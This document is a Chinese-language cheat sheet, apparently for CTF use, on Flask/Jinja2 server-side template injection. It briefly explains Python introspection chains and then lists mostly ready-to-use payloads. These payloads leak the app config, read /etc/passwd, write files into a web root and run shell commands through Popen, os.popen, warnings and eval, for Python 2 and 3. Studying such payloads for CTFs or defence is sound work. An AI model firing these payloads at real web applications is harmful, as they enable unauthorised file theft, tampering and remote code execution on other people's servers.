首先来看两个函数:
render_template和render_template_string
render_template()是渲染指定文件的
render_template('index.html')
render_template_string()是渲染一个字符串的
html = 'this is index page'
return render_template_string(html)
这种沙箱逃逸的解题思路,就是变量 -》对象 -》基类 -》子类遍历 -》全局变量,在这个流程中找到我们想用的模板或函数。
基本流程:使用魔术方法进行函数解析,再获取基本类,目标是寻找RCE或者文件读取。
__class__:返回一个实例所属的类
__bases__:返回类对象的基类所组成的元组(子类找父类)
__mro__:返回类组成的元组(获取MRO方法解析顺序),子类找父类
获取object对象的几种方式:
''/()/{}/[].__class__.__bases__[0]
''/()/{}/[].__class__.__mro__[1]
获取所有有用的class:
{{''/()/{}/[].__class__.__bases__[0].__subclasses__()}}
判断是否为Flask模板:
{{3*3}}
{{config.items()}}
{%debug%} //前提是开启了debug模式
获取config信息:
{{config}}
{% for key,value in config.items() %}
<dt> {{ key|e }} </dt>
<dd> {{ key|e }} </dd>
{% endfor %}
文件读取payload:
{{ ''/()/{}/[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read() }}
#https//github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
文件写入payload:
{{ ''/()/{}/[].__class__.__bases__[0].__subclasses__()[40]('/var/www/html/myflaskapp/1.php','w').write('hello') }}
**RCE:
{{ ().__class__.__bases__[0].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip }}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
也可以通过warning来实现:
{% for x in ().__class__.__bases__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{ x()._module.__builtins__['import']('os').popen('echo 111').read()
{% endif %}
{% endfor %}
也可以把'echo 111'换成request.args.input实现动态执行(input=ls)
可以通过这种方式搜索我们想要的模板:
().__class__.__base__.__subclass__().index(file)
可以查到该模块的索引值。
贴一个大佬的脚本:
100%可以执行的globals:
xxx.__init__.__globals__
常用Payload:
python2:
读文件:
().__class__.__bases__[0].__subclasses__()[40](r'flag').read()
命令执行行:
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()')
可以查找到索引值
python3:
().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')
''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].system("ls")
[].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')